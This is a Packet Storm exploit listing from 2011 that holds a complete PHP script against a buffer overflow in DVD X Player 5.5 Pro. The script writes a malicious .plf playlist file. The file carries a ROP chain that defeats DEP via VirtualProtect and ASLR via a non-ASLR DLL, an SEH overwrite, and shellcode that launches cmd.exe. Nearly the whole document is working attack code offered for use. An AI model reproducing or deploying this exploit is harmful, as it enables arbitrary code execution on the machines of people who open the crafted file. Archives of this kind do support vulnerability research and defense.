DVD X Player 5.5 Pro Buffer Overflow

2011-09-08T00:00:00
ID PACKETSTORM:104900
Type packetstorm
Reporter Rew
Modified 2011-09-08T00:00:00

Description

                                        
                                            `<?php  
  
/*  
Title: DVD X Player 5.5 Pro (DEP + ASLR Bypass) Exploit  
Date: Sep 08, 2011  
Author: Rew (rew@leethax.info)  
Discovered by: Blake (http://www.exploit-db.com/exploits/17788/)  
Link: http://www.dvd-x-player.com/download/DVDXPlayerSetup.exe  
Tested on: WinXP Pro SP3 + OptOut DEP  
CVE: NA (0day)  
  
DEP bypass via VirtualProtect  
ASLR bypass via non-aslr module (EPG.dll)  
No SafeSEH so we use the SEH @ 616 bytes  
  
This is my very first DEP + ASLR bypassing exploit. awesomeface.jpg  
If it looks clunky and rediculous, rather than hating, drop me a line  
and offer some advice for improvement. irc.rizon.net#beer  
  
Many thanks to Corelan Team for their wonderful article here...  
http://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/  
*/  
  
$padding_1 = str_repeat("A", 336);  
  
// ROP till ya drop!  
$rop = "\x08\xd9\x62\x61"; // push esp; sub eax, 20; pop ebx; retn  
$rop .= "JUNK";  
$rop .= "\x24\x01\x64\x61"; // xchg eax, ebx; retn  
$rop .= "\xe2\xe4\x60\x61"; // xchg eax, ecx; add al, [eax]; add esp, 4; mov eax, esi; pop esi; retn 4  
$rop .= "JUNK";  
$rop .= "JUNK";  
$rop .= "\x02\x67\x62\x61"; // pop eax; retn  
$rop .= "JUNK";  
$rop .= "\x08\x11\x01\x10"; // ptr to VirtualProtect  
$rop .= "\x37\x13\x63\x61"; // pop edi; pop esi; retn  
$rop .= "\x1b\x76\x61\x61"; // retn  
$rop .= "\x50\x8b\x62\x61"; // jmp [eax]  
$rop .= "\x3f\x85\x60\x61"; // pop ebp; retn  
$rop .= "\x66\x56\x60\x61"; // add esp, 8; retn // return of VirtualProtect  
$rop .= "\x50\x17\x60\x61"; // pop ebx; retn  
$rop .= "\x84\xcd\x6f\x83"; // this will be added to the pointer already in edx to wrap and get 0x00000040  
$rop .= "\x9e\x76\x62\x61"; // add edx, ebx; pop ebx; retn 10  
$rop .= "\x01\x01\x01\x01"; // dword size // pretty big, but whatever, easier than dealing with nulls  
$rop .= "\x31\x08\x62\x61"; // pushad; retn  
$rop .= "JUNK";  
$rop .= "JUNK";  
$rop .= "JUNK";  
$rop .= "JUNK";  
$rop .= "JUNK";  
// Couldn't find a good null-free jmp esp, so we do some more ROP to  
// get esp in eax and then jmp eax to our shellcode on the stack.  
$rop .= "\x08\xd9\x62\x61"; // push esp; sub eax, 20; pop ebx; retn  
$rop .= "\x24\x01\x64\x61"; // xchg eax, ebx; retn  
$rop .= "\xf0\x8d\x62\x61"; // add eax, 0c; retn // one more little nudge  
$rop .= "\x5b\x5e\x62\x61"; // jmp eax;  
  
$padding_2 = str_repeat("\x90", (274 - strlen($rop)));  
  
$jmp = "\xeb\x04"; // over the pivot and into the shellcode  
  
$pivot = "\xae\x74\x60\x61"; // add esp, 408; retn 4  
  
// Win32 XP SP3 WinExec cmd.exe  
$shellcode =  
"\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x2F" .  
"\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8" .  
"\xc7\x93\xc2\x77\xff\xd0";  
  
$exploit = $padding_1.$rop.$padding_2.$jmp.$pivot.$shellcode;  
  
fwrite(fopen("eggsploit.plf", "w"), $exploit);  
  
?>  
  
`